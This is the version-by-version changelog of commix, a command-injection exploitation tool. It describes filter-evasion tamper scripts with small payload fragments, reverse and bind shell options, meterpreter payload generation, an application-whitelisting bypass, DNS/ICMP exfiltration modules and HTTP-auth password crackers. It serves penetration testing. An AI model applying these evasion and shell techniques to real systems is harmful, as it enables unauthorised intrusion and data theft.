* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets).
* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s).
* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag).
* Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option).
* Added: Support for "Bearer" HTTP authentication type.
* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`).
* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set.
* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies.
* Added: New option `--alert` to run host OS command(s) when injection point is found.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._
## Version 3.7 (2023-02-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout").
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._
## Version 3.6 (2022-11-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding `--wizard` option.
* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._
## Version 3.5 (2022-07-03)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding Windows-based payloads for every supported technique.
* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options.
* Revised: Improvement regarding shellshock module.
* Added: Support regarding parsing target(s) from piped-input (i.e. stdin).
* Added: New option `--answers` to set user answers to asked questions during commix run.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for normalizing crawling results.
* Revised: Improvement regarding crawler.
* Revised: Minor bug-fix regarding `--file-upload` option.
* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s).
* Added: New option `--no-logging` for disabling logging to a file.
* Revised: Minor improvement regarding redirect handler.
* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for heuristic detection regarding command injections.
* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point.
* Revised: Improvement regarding injecting into custom HTTP Header(s).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._
## Version 3.4 (2022-02-25)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Fixed: Minor bug-fix regarding parsing JSON objects.
* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response.
* Added: Support for checking for not declared cookie(s).
* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Replaced: The `--encoding` option has been replaced with `--codec`.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._
## Version 3.3 (2021-09-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed.
* Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell).
* Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script.
* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets).
* Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check.
* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option.
* Revised: Minor improvement regarding parsing GraphQL JSON objects.
* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added.
* Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._
## Version 3.2 (2021-04-12)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets).
* Revised: Minor improvement regarding session handler for supporting Python 3.4+.
* Revised: Minor improvement regarding `--web-root` option.
* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets).
* Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses.
* Fixed: Bug-fix regarding several charset-related unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker.
* Fixed: Bug-fix regarding logging all HTTP traffic into a textual file.
* Revised: Improvement regarding crawler.
* Fixed: Multiple bug-fixes regarding supporting Python 3.9.
* Revised: Improvement regarding mechanism which nagging if used version is > 30 days old.
* Fixed: Multiple bug-fixes regarding the shellshock module.
* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations.
* Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header.
* Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option.
* Fixed: Bug-fix regarding "hex" encoding/decoding.
* Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30).
* Revised: Increased default timeout to 30 seconds.
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Fixed: Bug-fix regarding connection problems (via @fuero).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._
## Version 3.1 (2020-06-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: A script "setup.py" has been added (i.e. easier installation).
* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/').
* Revised: Improvement regarding dynamic code evaluation technique's heuristic checks.
* Revised: Improvement regarding identifying the indicated web-page charset.
* Revised: Minor improvement regarding verbose mode (i.e. debug messages).
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Revised: Minor improvement regarding redirection mechanism.
* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects.
* Revised: Minor improvement regarding Flatten_json (third party) module.
* Revised: Minor improvement regarding parsing nested JSON objects.
* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvements regarding data in the detailed message about occurred unhandled exception.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._
## Version 3.0 (2019-11-11)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the indicated web-page charset.
* Added: Support for Python 3.x
* Updated: Beautiful Soup (third party) module has been updated.
* Added: Six (third party) module has been added.
* Revised: Improvement regarding parsing nested JSON objects that contain boolean values.
* Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option.
* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._
## Version 2.9 (2019-06-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding parsing hostname and port from URL.
* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses.
* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":".
* Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options).
* Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvement regarding parsing nested JSON objects.
* Added: Flatten_json (third party) module has been added.
* Revised: Bug-fixes and improvements regarding parsing JSON objects.
* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added.
* Updated: Minor update regarding HTTP authentication (Basic / Digest).
* Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase.
* Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._
## Version 2.8 (2019-03-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Updated: Minor update regarding accepting overly long result lines.
* Revised: Minor bug-fixes and improvements regarding `--file-upload` option.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest).
* Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option).
* Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools).
* Added: Support for Windows "Python" on "reverse_tcp" shell option.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._
## Version 2.7 (2018-12-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: The suffixes list has been shortly revised.
* Updated: With each commix run end users are obligated to agree with the "Legal disclaimer" prelude message.
* Fixed: Minor improvent regarding local HTTP server (for `--file-upload` option).
* Added: A list of extensions to exclude from crawling.
* Revised: Minor improvements regarding crawler.
* Revised: Minor update of redirection mechanism.
* Revised: Minor improvement regarding identifying the target web server.
* Revised: Minor improvement regarding identifying corrupted .pyc file(s).
* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads.
* Fixed: Bug-fix regarding proxying SSL/TLS requests.
* Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option.
* Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters.
* Revised: Minor improvement regarding merging of tamper script arguments.
* Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts.
* Updated: Beautiful Soup (third party) module has been updated.
* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`.
* Fixed: Minor bug-fix regarding loading tamper scripts.
* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._
## Version 2.6 (2018-09-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement in session handler regarding IPv6 targets.
* Added: New option `--list-tampers` for listing available tamper scripts.
* Revised: Minor improvement regarding resolving target hostname.
* Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options.
* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option.
* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options.
* Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options.
* Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase.
* Fixed: Minor bug-fix regarding providing the target host's root directory.
* Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks.
* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads.
* Replaced: The `--purge-output` option has been replaced with `--purge` option.
* Fixed: Minor bug-fix regarding performing injections through cookie parameters.
* Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts.
* Fixed: Minor bug-fix regarding "bind_tcp" shell option.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._
## Version 2.5 (2018-07-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data.
* Added: Support regarding recognition of generic "your ip has been blocked" messages.
* Added: Support regarding checking for potential browser verification protection mechanism.
* Added: Support regarding checking for potential CAPTCHA protection mechanism.
* Revised: The separators list, has been shortly revised.
* Revised: Minor improvement regarding the extracted HTTP response headers.
* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets).
* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc).
* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads.
* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets).
* Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host.
* Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s).
* Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._
## Version 2.4 (2018-05-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts.
* Updated: Colorama (third party) module has been updated.
* Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k).
* Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase).
* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets).
* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._
## Version 2.3 (2018-03-07)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement regarding testing the Host HTTP header.
* Added: Support for Host HTTP header command injections.
* Revised: Minor improvement regarding testing SOAP/XML POST data.
* Added: Support for automatically creating a Github issue with unhandled exception information.
* Revised: Improvement for masking sensitive data in the detailed message about occurred unhandled exception.
* Added: Support for returning detailed message about occurred unhandled exception.
* Revised: The `--charset` option has been revised to force the usage of custom charset in order to speed-up the data retrieval process (during time-related injections).
* Replaced: The `--charset` option has been replaced with `--encoding` option.
* Revised: Improvement regarding batch mode, for testing the payloads for both OS - if it's not able to identify the target OS.
* Added: Support for SOAP/XML POST data.
* Fixed: Bug-fix regarding the SSL implementation (via @TD4B).
* Revised: Improvement regarding testing json-formated POST data with empty value(s).
* Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._
## Version 2.2 (2017-12-12)
* Revised: Minor improvement in "updater", for supporting verbose mode.
* Fixed: Minor bug-fix regarding cookie-based command injections.
* Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers).
* Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers.
* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads.
* Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6").
* Revised: Minor improvement in "updater", for checking commit hash number.
* Added: New option `--skip` regarding excluding certain parameter(s) from testing.
* Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._
## Version 2.1 (2017-10-03)
* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1').
* Added: New option `--check-internet` that checks internet connection before assessing the target.
* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer).
* Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase.
* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets).
* Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py".
* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST).
* Added: New option `--backticks` that uses backticks instead of "$()", for commands substitution.
* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory.
* Added: New option `--disable-coloring` that disables console output coloring.
* Added: New option `--check-tor` that checks if Tor is used properly.
* Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used.
* Revised: Minor improvement regarding options `--purge-output` and `--wizard`, were added in the mandatory options list.
* Fixed: Major bug-fix regarding connection problem over HTTPS.
* Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._
## Version 2.0 (2017-07-14)
* Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used.
* Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets).
* Revised: Multiple minor eye-candy revisions have been performed.
* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3.
* Updated: The `--sys-info` option has been enriched with distribution description and release information.
* Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload.
* Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes.
* Revised: Minor improvement regarding not re-performing requests in case of stored session.
* Revised: Minor improvement in time-related techinques for checking the reliability of the used payload (in case of a false positive result).
* Updated: Minor update in the list of the User-Agents (regarding the `--random-agent` option).
* Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header.
* Added: New option `--retries` that retries request(s) when the connection timeouts.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._
## Version 1.9 (2017-05-02)
* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay.
* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised.
* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay.
* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved.
* Added: New option `--ignore-redirects` that ignoring redirection attempts.
* Added: New functionality for identifying and following URL redirections.
* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist).
* Revised: The file-based payload for deleting files with execution output, has been shortly revised.
* Replaced: The `--root-dir` option has been replaced with `--web-root` option.
* Added: New option `--wizard` that shows a simple wizard interface for beginner users.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._
## Version 1.8 (2017-03-15)
* Added: New feauture for installing Unicorn tool (if not installed on host).
* Removed: The pre-installed version of Unicorn tool has been removed.
* Added: New feauture for checking and updating current version of Unicorn tool.
* Revised: The `--delay` option has been revised to delay between each HTTP request.
* Replaced: The `--delay` option has been replaced with `--time-sec` option.
* Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts.
* Added: New option `--charset` that forces character encoding used for data retrieval.
* Added: New prefix ("'%26") and suffix ("%26'") have been added.
* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique.
* Updated: The Unicorn tool has been updated to version 2.4.2.
* Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique.
* Fixed: Minor improvement for checking for established TCP connections.
* Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._
## Version 1.7 (2017-02-03)
* Fixed: Minor improvement regarding unverified SSL context(s).
* Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option.
* Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options.
* Fixed: Minor improvement for checking missing mandatory option(s).
* Fixed: Minor improvement regarding the file path of the null device.
* Fixed: Minor improvement regarding automated scan level increasing.
* Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets).
* Fixed: Improvement regarding printing current assessment state in case of user abortion.
* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory.
* Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s).
* Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s).
* Fixed: Improvement regarding testing the parameter(s) with empty value(s).
* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._
## Version 1.6 (2016-12-28)
* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists.
* Fixed: Minor fix regarding empty value(s) in provided parameter(s).
* Added: New option `--batch` that never asks for user input (using the default behaviour).
* Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file.
* Added: New option `--offline` for working in offline mode.
* Fixed: Improvement regarding the IP address grabbing (in case of internet in-accessibility).
* Fixed: Improvement regarding HTTPS based websites, for which scanning fails.
* Added: New option `-r` for loading HTTP request from a file.
* Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data.
* Added: New option `-m` for scanning multiple targets given in a textual file.
* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique.
* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised.
* Added: The executed command and the execution results output has been added to log file.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._
## Version 1.5 (2016-11-17)
* Fixed: Minor improvement in the "ICMP exfiltration" module.
* Fixed: Minor improvement for choosing default value when pressing enter.
* Added: New tamper script "hexencode.py" that encodes the payload to hex format.
* Fixed: Minor improvements in executed commands history.
* Added: New verbosity level (4) for printing the HTTP response page content.
* Added: New option `-t` for logging all HTTP traffic into a textual file.
* Added: New option `--msf-path` for specifying a path where metasploit is installed.
* Added: New verbosity level (3) for printing the HTTP response headers.
* Added: New verbosity level (2) for printing the performed HTTP requests headers.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._
## Version 1.4 (2016-10-17)
* Added: Support on crawler for checking target for the existence of 'sitemap.xml'.
* Revised: The payload for Ruby reverse-shell has been shortly revised.
* Added: Support for bind TCP shell (via "bind_tcp" option).
* Added: New option `--crawl` (1,2) for crawling of a given website, starting from the target url.
* Updated: The Unicorn tool has been updated to version 2.3.5.
* Added: The project's official URL has been added in the menu banner.
* Fixed: Minor improvements in tab completion.
* Fixed: Minor improvement in the function that checks for updates on start up.
* Fixed: Minor improvements in enumeration options (added failure messages).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._
## Version 1.3 (2016-09-14)
* Fixed: Minor improvements in "reverse_tcp" option.
* Added: Support for the metasploit "web_delivery" script.
* Added: Support for generating Python/PHP meterpreter reverse TCP payloads via metasploit.
* Fixed: Minor improvements for enumeration options (if `--url-reload` is used).
* Added: The ability for generating and injecting native x86 shellcode (Powershell).
* Added: New option `--skip-calc` that skips the mathematic calculation during the detection phase.
* Fixed: Minor improvement in Shellshock module for ignoring junk output on response.
* Fixed: Minor improvement in Shellshock module for finding RCE results on page's response.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._
## Version 1.2 (2016-08-12)
* Added: The ability for setting custom (PHP / Python) working directory.
* Fixed: License file minor inaccurancy issue has been fixed.
* Revised: The Windows-based payloads for every supported technique, had been shortly revised.
* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised.
* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09").
* Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn.
* Added: The ability for checking if there is a new version available.
* Added: The ability for target application extension recognition (i.e PHP, ASP etc).
* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path).
* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._
## Version 1.1 (2016-07-14)
* Added: The ".gitignore" file has been added.
* Added: Support for injections against ASP.NET applications.
* Added: Support for warning detection regarding "create_function()" function.
* Fixed: Minor improvent of the HTTP server for `--file-upload` option.
* Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers.
* Added: The ability to store injection level into session files for current target.
* Added: Support for automated enabling of an HTTP server for `--file-upload` option.
* Fixed: Minor fix for "Python-urllib" User-Agent exposure.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._
## Version 1.0 (2016-06-14)
* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests.
* Added: A list of pages / scripts potentially vulnerable to shellshock.
* Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock.
* Revised: Multiple eye-candy revisions have been performed.
* Fixed: HTTPS requests fixation, if the `--proxy` option is enabled.
* Fixed: Multiple fixes regarding the shellshock module have been performed.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._
## Version 0.9b (2016-06-07)
* Added: The ability to re-perform the injection request if it has failed.
* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines.
* Revised: The ability to execute multiple tamper scripts combined or the one after the other.
* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+").
* Added: New state ("checking") and the color of that state has been setted.
* Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script.
* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable.
* Added: New option `--tamper` that supports tamper injection scripts.
* Added: Support for verbosity levels (currently supported levels: 0,1).
* Fixed: Minor rearrangement of prefixes and separators has been implemented.
* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised.
* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._
## Version 0.8b (2016-05-06)
* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file.
* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip.
* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character.
* Added: New option `--level` (1-3) that specifies level of tests to perform.
* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter.
* Added: The ability to check every parameter in the provided cookie data.
* Added: The ability to check every GET parameter in the defined URL and/or every POST provided data.
* Added: New option `--all` that enables all supported enumeration options.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._
## Version 0.7b (2016-04-18)
* Fixed: HTTP proxy logs parser to accept GET http requests.
* Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials.
* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker.
* Added: The ability to store valid (Digest) credentials into session files for current target.
* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials.
* Added: Support for "Digest" HTTP authentication type.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._
## Version 0.6b (2016-04-01)
* Added: The ability to store valid (Basic) credentials into session files for current target.
* Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials.
* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials.
* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported).
* Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection.
* Added: Support for verbose mode in the "DNS exfiltration" injection technique (module).
* Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module).
* Added: New option `--dependencies` that checks (non-core) third party dependenices.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._
## Version 0.5b (2016-03-16)
* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator.
* Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module).
* Added: Check if the user-defined os name, is different than the one identified by heuristics.
* Added: New option `--os` that forces a user-defined os name.
* Added: Support for testing custom HTTP headers (via `--headers` parameter).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._
## Version 0.4.1b (2016-02-26)
* Added: Support for storing and retrieving executed commands from session file.
* Added: New option `-s` for loading session from session file.
* Added: New option `--ignore-session` for ignoring results stored in session file.
* Added: New option `--flush-session` for flushing session files for current target.
* Added: Support to resume to the latest injection points from session file.
